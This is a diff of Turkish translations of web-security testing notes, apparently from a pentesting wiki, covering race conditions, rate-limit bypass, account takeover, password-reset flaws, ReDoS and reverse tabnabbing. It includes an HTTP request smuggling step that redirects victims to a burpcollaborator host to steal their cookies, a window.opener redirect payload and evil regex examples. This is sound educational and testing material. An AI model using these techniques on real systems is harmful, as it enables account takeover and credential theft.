Bu, **hareketi gerçekleştirebileceğiniz zaman sayısını sınırlayan** yerlerde **görünür** olan **zayıflıkların** bulunduğu en temel yarış durumu türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak. Çok basit bir örnek [**bu raporda**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**bu hatada**](https://hackerone.com/reports/759247)** bulunabilir.**
|
||||
|
||||
Bu tür saldırının birçok varyasyonu vardır, bunlar arasında:
|
||||
|
||||
- Bir hediye kartını birden fazla kez kullanma
|
||||
- Bir ürünü birden fazla kez değerlendirme
|
||||
- Hesap bakiyenizden fazla nakit çekme veya transfer etme
|
||||
- Hesap bakiyenizin üzerinde nakit çekme veya transfer etme
|
||||
- Tek bir CAPTCHA çözümünü yeniden kullanma
|
||||
- Anti-brute-force hız limitini aşma
|
||||
|
||||
@ -302,22 +302,22 @@ Karmaşık yarış durumlarını istismar etmek genellikle gizli veya **istenmey
|
||||
- **Depolama**: Sunucu tarafında kalıcı verileri manipüle eden uç noktaları, istemci tarafında veri işleyenlerden daha fazla tercih edin.
|
||||
- **Eylem**: Mevcut verileri değiştiren işlemleri arayın; bunlar yeni veri ekleyenlere göre istismar edilebilir koşullar yaratma olasılığı daha yüksektir.
|
||||
- **Anahtar**: Başarılı saldırılar genellikle aynı tanımlayıcıya, örneğin kullanıcı adı veya sıfırlama jetonuna dayalı işlemleri içerir.
|
||||
2. **İlk Kez Test Yapın**
|
||||
- Belirlenen uç noktaları yarış durumu saldırılarıyla test edin, beklenen sonuçlardan herhangi bir sapmayı gözlemleyin. Beklenmedik yanıtlar veya uygulama davranışındaki değişiklikler bir güvenlik açığını işaret edebilir.
|
||||
3. **Güvenlik Açığını Gösterin**
|
||||
- Güvenlik açığını istismar etmek için gereken en az istek sayısını daraltın, genellikle sadece iki. Bu adım, hassas zamanlama gerektirdiğinden birden fazla deneme veya otomasyon gerektirebilir.
|
||||
2. **İlk Keşif Yapın**
|
||||
- Belirlenen uç noktaları yarış durumu saldırılarıyla test edin, beklenen sonuçlardan herhangi bir sapmayı gözlemleyin. Beklenmedik yanıtlar veya uygulama davranışındaki değişiklikler bir zayıflığı işaret edebilir.
|
||||
3. **Zayıflığı Gösterin**
|
||||
- Zayıflığı istismar etmek için gereken en az istek sayısını daraltın, genellikle sadece iki. Bu adım, dahil olan hassas zamanlama nedeniyle birden fazla deneme veya otomasyon gerektirebilir.
|
||||
|
||||
### Zaman Duyarlı Saldırılar
|
||||
|
||||
İsteklerin zamanlamasındaki hassasiyet, özellikle güvenlik jetonları için zaman damgaları gibi öngörülebilir yöntemler kullanıldığında güvenlik açıklarını ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama jetonları oluşturmak, eşzamanlı istekler için aynı jetonların oluşmasına neden olabilir.
|
||||
İsteklerin zamanlamasındaki hassasiyet, özellikle güvenlik jetonları için tahmin edilebilir yöntemler, örneğin zaman damgaları kullanıldığında zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama jetonları oluşturmak, eşzamanlı istekler için aynı jetonların olmasına neden olabilir.
|
||||
|
||||
**İstismar İçin:**
|
||||
**İstismar Etmek İçin:**
|
||||
|
||||
- Eşzamanlı şifre sıfırlama istekleri yapmak için tek bir paket saldırısı gibi hassas zamanlama kullanın. Aynı jetonlar bir güvenlik açığını gösterir.
|
||||
- Eşzamanlı şifre sıfırlama istekleri yapmak için tek bir paket saldırısı gibi hassas zamanlama kullanın. Aynı jetonlar bir zayıflığı gösterir.
|
||||
|
||||
**Örnek:**
|
||||
|
||||
- Aynı anda iki şifre sıfırlama jetonu talep edin ve karşılaştırın. Eşleşen jetonlar, jeton oluşturma sürecinde bir hatayı işaret eder.
|
||||
- Aynı anda iki şifre sıfırlama jetonu isteyin ve bunları karşılaştırın. Eşleşen jetonlar, jeton oluşturma sürecinde bir hatayı işaret eder.
|
||||
|
||||
**Bunu deneyin** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **.
|
||||
|
||||
@ -333,13 +333,13 @@ Amaç, **bir e-posta adresini doğrulamak ve aynı anda farklı birine değişti
|
||||
|
||||
### E-postayı 2 e-posta adresine Değiştir
|
||||
|
||||
[**Bu araştırmaya**](https://portswigger.net/research/smashing-the-state-machine) göre Gitlab, bu şekilde bir ele geçirmeye karşı savunmasızdı çünkü **bir e-postanın** **doğrulama jetonunu diğer e-postaya** **gönderebilir**.
|
||||
[**Bu araştırmaya**](https://portswigger.net/research/smashing-the-state-machine) göre Gitlab, bu şekilde bir ele geçirmeye karşı savunmasızdı çünkü **bir e-posta için e-posta doğrulama jetonunu diğer e-postaya gönderebilir**.
|
||||
|
||||
**Bunu deneyin** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **.
|
||||
|
||||
### Gizli Veritabanı durumları / Onay Atlama
|
||||
|
||||
Eğer **2 farklı yazma** işlemi **veri eklemek için** **veritabanı** içinde kullanılıyorsa, **yalnızca ilk verinin yazıldığı** küçük bir zaman dilimi vardır. Örneğin, bir kullanıcı oluştururken **kullanıcı adı** ve **şifre** yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için **jeton** yazılabilir. Bu, **bir hesabı onaylamak için jetonun null olduğu** küçük bir süre olduğu anlamına gelir.
|
||||
Eğer **2 farklı yazma** işlemi **veri eklemek için** kullanılıyorsa, **veritabanına yalnızca ilk verinin yazıldığı** küçük bir zaman dilimi vardır. Örneğin, bir kullanıcı oluştururken **kullanıcı adı** ve **şifre** yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için **jeton** yazılır. Bu, **bir hesabı onaylamak için jetonun null olduğu** küçük bir süre olduğu anlamına gelir.
|
||||
|
||||
Bu nedenle, **bir hesap kaydetmek ve hemen onaylamak için boş bir jetonla** (`token=` veya `token[]=` veya başka bir varyasyon) birkaç istek göndermek, e-posta kontrolünüz olmayan bir hesabı **onaylamanıza** izin verebilir.
|
||||
|
||||
@ -347,7 +347,7 @@ Bu nedenle, **bir hesap kaydetmek ve hemen onaylamak için boş bir jetonla** (`
|
||||
|
||||
### 2FA'yı Atlama
|
||||
|
||||
Aşağıdaki pseudo-kod, çok kısa bir süre içinde **2FA'nın uygulanmadığı** için yarış durumuna karşı savunmasızdır; bu süre zarfında oturum oluşturulmaktadır:
|
||||
Aşağıdaki pseudo-kod, yarış durumuna karşı savunmasızdır çünkü çok kısa bir süre içinde **2FA uygulanmamaktadır** oturum oluşturulurken:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
@ -358,15 +358,15 @@ session['enforce_mfa'] = True
|
||||
### OAuth2 sonsuz kalıcılık
|
||||
|
||||
Birçok [**OAUth sağlayıcısı**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) bulunmaktadır. Bu hizmetler, bir uygulama oluşturmanıza ve sağlayıcının kaydettiği kullanıcıları kimlik doğrulamanıza olanak tanır. Bunu yapmak için, **istemci** uygulamanızın **OAUth sağlayıcısı** içindeki bazı verilerine erişmesine **izin vermesi** gerekecektir.\
|
||||
Yani, buraya kadar sadece google/linkedin/github... ile yapılan yaygın bir giriş, karşınıza "_Uygulama \<InsertCoolName> bilgilerinize erişmek istiyor, izin vermek ister misiniz?_" diyen bir sayfa ile çıkıyor.
|
||||
Yani, buraya kadar sadece google/linkedin/github gibi bir giriş yapıyorsunuz ve karşınıza "_Uygulama \<InsertCoolName> bilgilerinize erişmek istiyor, izin vermek ister misiniz?_" diyen bir sayfa çıkıyor.
|
||||
|
||||
#### `authorization_code`'da Yarış Durumu
|
||||
|
||||
**Sorun**, bunu **kabul ettiğinizde** ve otomatik olarak kötü niyetli uygulamaya bir **`authorization_code`** gönderdiğinizde ortaya çıkar. Ardından, bu **uygulama, OAUth hizmet sağlayıcısındaki bir Yarış Durumunu kötüye kullanarak hesabınız için **`authorization_code`**'dan birden fazla AT/RT (_Authentication Token/Refresh Token_) üretir. Temelde, uygulamanın verilerinize erişmesine izin verdiğiniz gerçeğini kötüye kullanarak **birden fazla hesap oluşturur**. Sonra, eğer **uygulamanın verilerinize erişmesine izin vermeyi durdurursanız, bir AT/RT çifti silinecek, ancak diğerleri geçerli kalacaktır**.
|
||||
**Sorun**, bunu **kabul ettiğinizde** ve otomatik olarak kötü niyetli uygulamaya bir **`authorization_code`** gönderdiğinizde ortaya çıkar. Ardından, bu **uygulama, OAUth hizmet sağlayıcısındaki bir Yarış Durumunu kötüye kullanarak hesabınız için **`authorization_code`**'dan birden fazla AT/RT (_Authentication Token/Refresh Token_) üretir. Temelde, uygulamanın verilerinize erişmesine izin verdiğiniz gerçeğini kötüye kullanarak **birden fazla hesap oluşturur**. Sonra, eğer **uygulamanın verilerinize erişmesine izin vermeyi durdurursanız, bir çift AT/RT silinecek, ancak diğerleri geçerli kalacaktır**.
|
||||
|
||||
#### `Refresh Token`'da Yarış Durumu
|
||||
|
||||
Bir **geçerli RT** elde ettiğinizde, **birden fazla AT/RT** üretmek için **kötüye kullanmayı** deneyebilirsiniz ve **kullanıcı kötü niyetli uygulamanın verilerine erişim izinlerini iptal etse bile**, **birden fazla RT hala geçerli olacaktır.**
|
||||
Bir **geçerli RT** elde ettiğinizde, bunu **birden fazla AT/RT üretmek için kötüye kullanmayı** deneyebilirsiniz ve **kullanıcı kötü niyetli uygulamanın verilerine erişim izinlerini iptal etse bile**, **birden fazla RT hala geçerli olacaktır.**
|
||||
|
||||
## **WebSockets'te RC**
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### Benzer Uç Noktaları Keşfetme
|
||||
|
||||
Hedeflenen uç noktanın varyasyonlarına, örneğin `/api/v3/sign-up`, `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` gibi alternatiflere karşı brute force saldırıları gerçekleştirmek için denemeler yapılmalıdır.
|
||||
Hedeflenen uç noktanın varyasyonlarına, örneğin `/api/v3/sign-up` gibi, `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` gibi alternatifler üzerinde brute force saldırıları gerçekleştirmek için denemeler yapılmalıdır.
|
||||
|
||||
### Kod veya Parametrelerde Boş Karakterler Kullanma
|
||||
|
||||
@ -38,17 +38,17 @@ Bazı API geçitleri, uç nokta ve parametrelerin kombinasyonuna dayalı olarak
|
||||
|
||||
### Her Denemeden Önce Hesabınıza Giriş Yapma
|
||||
|
||||
Her denemeden veya her deneme setinden önce bir hesaba giriş yapmak, oran sınırlama sayacını sıfırlayabilir. Bu, özellikle giriş işlevselliklerini test ederken faydalıdır. Burp Suite gibi araçlarda bir Pitchfork saldırısı kullanarak, her birkaç denemede kimlik bilgilerini döndürmek ve yönlendirmelerin işaretlendiğinden emin olmak, oran sınırlama sayaçlarını etkili bir şekilde yeniden başlatabilir.
|
||||
Her denemeden veya her deneme setinden önce bir hesaba giriş yapmak, oran sınırlama sayacını sıfırlayabilir. Bu, giriş işlevselliklerini test ederken özellikle faydalıdır. Burp Suite gibi araçlarda bir Pitchfork saldırısı kullanarak, her birkaç denemede bir kimlik bilgilerini döndürmek ve yönlendirmelerin işaretlendiğinden emin olmak, oran sınırlama sayaçlarını etkili bir şekilde yeniden başlatabilir.
|
||||
|
||||
### Proxy Ağlarını Kullanma
|
||||
|
||||
İstekleri birden fazla IP adresi arasında dağıtmak için bir proxy ağı dağıtmak, IP tabanlı oran sınırlamalarını etkili bir şekilde aşabilir. Trafiği çeşitli proxyler aracılığıyla yönlendirerek, her istek farklı bir kaynaktan geliyormuş gibi görünür, bu da oran sınırlamasının etkinliğini azaltır.
|
||||
İstekleri birden fazla IP adresi arasında dağıtmak için bir proxy ağı dağıtmak, IP tabanlı oran sınırlamalarını etkili bir şekilde aşabilir. Trafiği çeşitli proxy'ler aracılığıyla yönlendirerek, her istek farklı bir kaynaktan geliyormuş gibi görünür, bu da oran sınırlamasının etkinliğini azaltır.
|
||||
|
||||
### Saldırıyı Farklı Hesaplar veya Oturumlar Arasında Bölme
|
||||
|
||||
Hedef sistem, oran sınırlamalarını hesap başına veya oturum başına uyguluyorsa, saldırıyı veya testi birden fazla hesap veya oturum arasında dağıtmak, tespiti önlemeye yardımcı olabilir. Bu yaklaşım, birden fazla kimlik veya oturum belirteci yönetmeyi gerektirir, ancak yükü izin verilen sınırlar içinde tutmak için etkili bir şekilde dağıtabilir.
|
||||
|
||||
### Denemeye Devam Edin
|
||||
### Denemeye Devam Et
|
||||
|
||||
Bir oran sınırlaması olsa bile, geçerli OTP gönderildiğinde yanıtın farklı olup olmadığını görmek için denemeye devam etmelisiniz. [**bu yazıda**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), hata avcısı, 20 başarısız denemeden sonra 401 ile yanıt verildiğinde bir oran sınırlaması tetiklense bile, geçerli olan gönderildiğinde 200 yanıtı alındığını keşfetti.
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
|
||||
### Kullanıcı Adı Sayımı
|
||||
|
||||
Bir kullanıcı adının uygulama içinde zaten kayıtlı olup olmadığını anlamaya çalışın.
|
||||
Bir kullanıcı adının uygulama içinde zaten kaydedilip kaydedilmediğini anlamaya çalışın.
|
||||
|
||||
### Şifre Politikası
|
||||
|
||||
@ -90,19 +90,19 @@ email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
|
||||
1. Saldırgan, hesabıyla giriş yapmalı ve **Şifre değiştir** özelliğine gitmelidir.
|
||||
1. Saldırgan, hesabıyla giriş yapmalı ve **Şifreyi değiştir** özelliğine gitmelidir.
|
||||
2. Burp Suite'i başlatın ve isteği yakalayın.
|
||||
3. Tekrarlayıcı sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı ID/e-posta\
|
||||
3. İsteği tekrar gönderme sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı ID/e-posta\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||
|
||||
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
Şifre sıfırlama token'ı her seferinde rastgele üretilmeli ve benzersiz olmalıdır.\
|
||||
Şifre sıfırlama token'ı her seferinde rastgele ve benzersiz olarak oluşturulmalıdır.\
|
||||
Token'ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın, bazı durumlarda üretim algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
|
||||
|
||||
- Zaman damgası
|
||||
- Kullanıcı ID
|
||||
- Kullanıcının E-posta adresi
|
||||
- Kullanıcının E-postası
|
||||
- Ad ve Soyad
|
||||
- Doğum Tarihi
|
||||
- Kriptografi
|
||||
@ -114,14 +114,14 @@ Token'ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığı
|
||||
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
|
||||
1. Belirli bir e-posta için API/UI kullanarak bir şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com
|
||||
2. Sunucu yanıtını inceleyin ve `resetToken` kontrol edin.
|
||||
2. Sunucu yanıtını inceleyin ve `resetToken`'ı kontrol edin.
|
||||
3. Ardından token'ı şu URL'de kullanın: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. Sistemde, kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla kaydolun, ancak kullanıcı adının önüne ve/veya arkasına boşluklar ekleyin. örneğin: `"admin "`
|
||||
2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama isteği yapın.
|
||||
3. E-posta adresinize gönderilen token'ı kullanarak kurbanın şifresini sıfırlayın.
|
||||
2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama talep edin.
|
||||
3. E-postanıza gönderilen token'ı kullanarak kurbanın şifresini sıfırlayın.
|
||||
4. Yeni şifreyle kurbanın hesabına bağlanın.
|
||||
|
||||
CTFd platformu bu saldırıya karşı savunmasızdı.\
|
||||
@ -135,7 +135,7 @@ Bakınız: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
|
||||
1\. **smuggler** kullanarak HTTP Request Smuggling türünü tespit edin (CL, TE, CL.TE)\
|
||||
1\. **smuggler** kullanarak HTTP İstek Kaçırma türünü tespit edin (CL, TE, CL.TE)\
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. Aşağıdaki verilerle `POST / HTTP/1.1`'i geçersiz kılacak bir istek oluşturun:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` amacıyla kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmak\
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
# Regular Expression Denial of Service (ReDoS)
|
||||
|
||||
Bir **Regular Expression Denial of Service (ReDoS)**, birinin düzenli ifadelerin (metin içinde desenleri arama ve eşleştirme yöntemi) nasıl çalıştığındaki zayıflıkları kullanması durumunda meydana gelir. Bazen, düzenli ifadeler kullanıldığında, özellikle üzerinde çalıştıkları metin parçası büyüdüğünde çok yavaş hale gelebilirler. Bu yavaşlık, metin boyutundaki küçük artışlarla bile çok hızlı bir şekilde kötüleşebilir. Saldırganlar, bu sorunu kullanarak düzenli ifadeleri kullanan bir programın uzun süre düzgün çalışmasını engelleyebilirler.
|
||||
Bir **Regular Expression Denial of Service (ReDoS)**, birinin düzenli ifadelerin (metin içinde desenleri arama ve eşleştirme yöntemi) nasıl çalıştığındaki zayıflıkları kullanması durumunda meydana gelir. Bazen, düzenli ifadeler kullanıldığında, özellikle üzerinde çalıştıkları metin parçası büyüdüğünde çok yavaş hale gelebilirler. Bu yavaşlık, metin boyutundaki küçük artışlarla bile çok hızlı bir şekilde kötüleşebilir. Saldırganlar, bu sorunu kullanarak düzenli ifadeleri kullanan bir programın uzun bir süre düzgün çalışmasını engelleyebilirler.
|
||||
|
||||
## Problemli Regex Naif Algoritması
|
||||
|
||||
@ -12,7 +12,7 @@ Bir **Regular Expression Denial of Service (ReDoS)**, birinin düzenli ifadeleri
|
||||
|
||||
## Kötü Regexler <a href="#evil-regexes" id="evil-regexes"></a>
|
||||
|
||||
Kötü bir düzenli ifade deseni, **özel olarak hazırlanmış girdi üzerinde takılıp kalabilen** bir desendir. Kötü regex desenleri genellikle tekrar içeren gruplama ve tekrar veya tekrarlanan grupta örtüşme ile alternatif içerir. Kötü desenlere bazı örnekler şunlardır:
|
||||
Kötü bir düzenli ifade deseni, **özel olarak hazırlanmış girdi üzerinde takılı kalabilen** bir desendir. Kötü regex desenleri genellikle tekrar içeren gruplama ve tekrar veya tekrarlanan grupta örtüşme ile alternatif içerir. Kötü desenlere bazı örnekler şunlardır:
|
||||
|
||||
- (a+)+
|
||||
- ([a-zA-Z]+)\*
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
- HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir.
|
||||
- **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme.
|
||||
- **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına tıklayın**. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu üçüncü taraflara hassas bilgileri açığa çıkarabilir.
|
||||
- **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu üçüncü taraflara hassas bilgileri açığa çıkarabilir.
|
||||
- **Referanslar**:
|
||||
- [HackerOne Raporu 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Raporu 272379](https://hackerone.com/reports/272379)
|
||||
@ -14,12 +14,12 @@
|
||||
|
||||
## **Şifre Sıfırlama Zehirleme**
|
||||
|
||||
- Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını kötü niyetli bir siteye yönlendirmek için manipüle edebilir.
|
||||
- **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirme.
|
||||
- Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir.
|
||||
- **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirmeye yol açar.
|
||||
- **Hafifletme Adımları**:
|
||||
- Host başlığını izin verilen alanların beyaz listesi ile doğrulayın.
|
||||
- Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın.
|
||||
- **Yaman**: Şifre sıfırlama URL'lerini oluşturmak için `$_SERVER['SERVER_NAME']` kullanın, `$_SERVER['HTTP_HOST']` yerine.
|
||||
- **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine.
|
||||
- **Referanslar**:
|
||||
- [Acunetix Şifre Sıfırlama Zehirleme Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
@ -116,14 +116,14 @@ POST /api/changepass
|
||||
|
||||
## **Tahmin Edilebilir UUID**
|
||||
|
||||
- UUID'ler (versiyon 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli sıfırlama token'ları oluşturmak için brute-force yapabilir. Kontrol edin:
|
||||
- UUID'ler (sürüm 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli sıfırlama token'ları oluşturmak için brute-force yapabilir. Kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Azaltma Adımları**:
|
||||
- Rastgelelik için GUID versiyon 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın.
|
||||
- Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın.
|
||||
- **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
|
||||
|
||||
## **Yanıt Manipülasyonu: Kötü Yanıtı İyi ile Değiştirme**
|
||||
@ -131,7 +131,7 @@ uuid-insecurities.md
|
||||
- Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme.
|
||||
- **Azaltma Adımları**:
|
||||
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
|
||||
- Adam arasında saldırıları önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
|
||||
- Adam ortası saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
|
||||
- **Referans**:
|
||||
- [Canlı Hata Ödül Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
@ -154,13 +154,13 @@ uuid-insecurities.md
|
||||
- **Azaltma Adımları**:
|
||||
- Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun.
|
||||
|
||||
## **Oturum Geçersiz Kılma: Çıkış/Şifre Sıfırlama**
|
||||
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
||||
|
||||
- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olun.
|
||||
- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olma.
|
||||
- **Azaltma Adımları**:
|
||||
- Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın.
|
||||
|
||||
## **Oturum Geçersiz Kılma: Çıkış/Şifre Sıfırlama**
|
||||
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
||||
|
||||
- Sıfırlama token'larının geçersiz hale geldiği bir süresi olmalıdır.
|
||||
- **Azaltma Adımları**:
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
# Açıklama
|
||||
|
||||
Bir **saldırganın**, bir mağdur tarafından tıklanacak olan **`<a`** etiketinin **`href`** argümanını **kontrol** edebildiği bir durumda, **saldırgan** bu **bağlantıyı** kontrolü altında olan bir web sitesine (bir **kötü niyetli** **web sitesi**) yönlendirebilir. Ardından, mağdur bağlantıya tıkladığında ve saldırganın web sitesine eriştiğinde, bu **kötü niyetli** **web sitesi**, javascript nesnesi **`window.opener`** aracılığıyla **orijinal** **sayfayı** **kontrol** edebilir.\
|
||||
Bir **saldırganın**, bir mağdur tarafından tıklanacak olan **`<a`** etiketinin **`href`** argümanını **kontrol edebildiği** bir durumda, **saldırgan** bu **bağlantıyı** kontrolü altında olan bir web sitesine (bir **kötü niyetli** **web sitesi**) yönlendirebilir. Ardından, mağdur bağlantıya tıkladığında ve saldırganın web sitesine eriştiğinde, bu **kötü niyetli** **web sitesi**, javascript nesnesi **`window.opener`** aracılığıyla **orijinal** **sayfayı** **kontrol edebilir**.\
|
||||
Eğer sayfa **`rel="opener"`** içermiyorsa ancak `target="_blank"` içeriyorsa ve **`rel="noopener"`** yoksa, bu da savunmasız olabilir.
|
||||
|
||||
Bu davranışı kötüye kullanmanın yaygın bir yolu, **orijinal webin konumunu** `window.opener.location = https://attacker.com/victim.html` ile saldırganın kontrolündeki bir web sitesine **değiştirmek** olacaktır; böylece, orijinal web sitesinin **giriş** **formunu** **taklit** edebilir ve kullanıcıdan kimlik bilgilerini isteyebilir.
|
||||
@ -26,7 +26,7 @@ Ancak, **saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edeb
|
||||
## Örnekler <a href="#examples" id="examples"></a>
|
||||
|
||||
Aşağıdaki sayfaları bir klasörde oluşturun ve `python3 -m http.server` ile bir web sunucusu çalıştırın.\
|
||||
Ardından, **erişim** `http://127.0.0.1:8000/`vulnerable.html, **tıklayın** bağlantıya ve **orijinal** **web sitesinin** **URL**'sinin **nasıl değiştiğini** not edin.
|
||||
Ardından, **erişim sağlayın** `http://127.0.0.1:8000/`vulnerable.html, **bağlantıya tıklayın** ve **orijinal** **web sitesinin** **URL'sinin** **nasıl değiştiğini** not edin.
|
||||
```markup:vulnerable.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -58,13 +58,13 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
```
|
||||
## Erişilebilir özellikler <a href="#accessible-properties" id="accessible-properties"></a>
|
||||
|
||||
**Farklı kökenler** arasında bir erişim gerçekleştiği senaryoda, kötü niyetli bir site tarafından erişilebilen **opener** JavaScript nesne referansı ile belirtilen **window** JavaScript sınıf örneğinin özellikleri aşağıdaki ile sınırlıdır:
|
||||
**Farklı kökenlerden** erişim gerçekleştiği senaryoda, kötü niyetli bir sitenin erişebileceği **opener** JavaScript nesne referansı ile belirtilen **window** JavaScript sınıf örneğinin özellikleri aşağıdakilerle sınırlıdır:
|
||||
|
||||
- **`opener.closed`**: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve bir boolean değeri döner.
|
||||
- **`opener.closed`**: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve boolean bir değer döner.
|
||||
- **`opener.frames`**: Bu özellik, mevcut penceredeki tüm iframe öğelerine erişim sağlar.
|
||||
- **`opener.length`**: Mevcut pencerede bulunan iframe öğelerinin sayısını bu özellik döner.
|
||||
- **`opener.opener`**: Bu özellik aracılığıyla mevcut pencereyi açan pencereye bir referans elde edilebilir.
|
||||
- **`opener.parent`**: Bu özellik, mevcut pencerenin üst pencereyi döner.
|
||||
- **`opener.length`**: Mevcut pencerede bulunan iframe öğelerinin sayısını döner.
|
||||
- **`opener.opener`**: Bu özellik aracılığıyla mevcut pencereyi açan pencerenin referansı elde edilebilir.
|
||||
- **`opener.parent`**: Bu özellik, mevcut pencerenin üst pencere referansını döner.
|
||||
- **`opener.self`**: Bu özellik, mevcut pencereye erişim sağlar.
|
||||
- **`opener.top`**: Bu özellik, en üstteki tarayıcı penceresini döner.
|
||||
|
||||
@ -72,7 +72,7 @@ Ancak, alanlar aynı olduğunda, kötü niyetli site, [**window**](https://devel
|
||||
|
||||
# Önleme
|
||||
|
||||
Önleme bilgileri [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) içinde belgelenmiştir.
|
||||
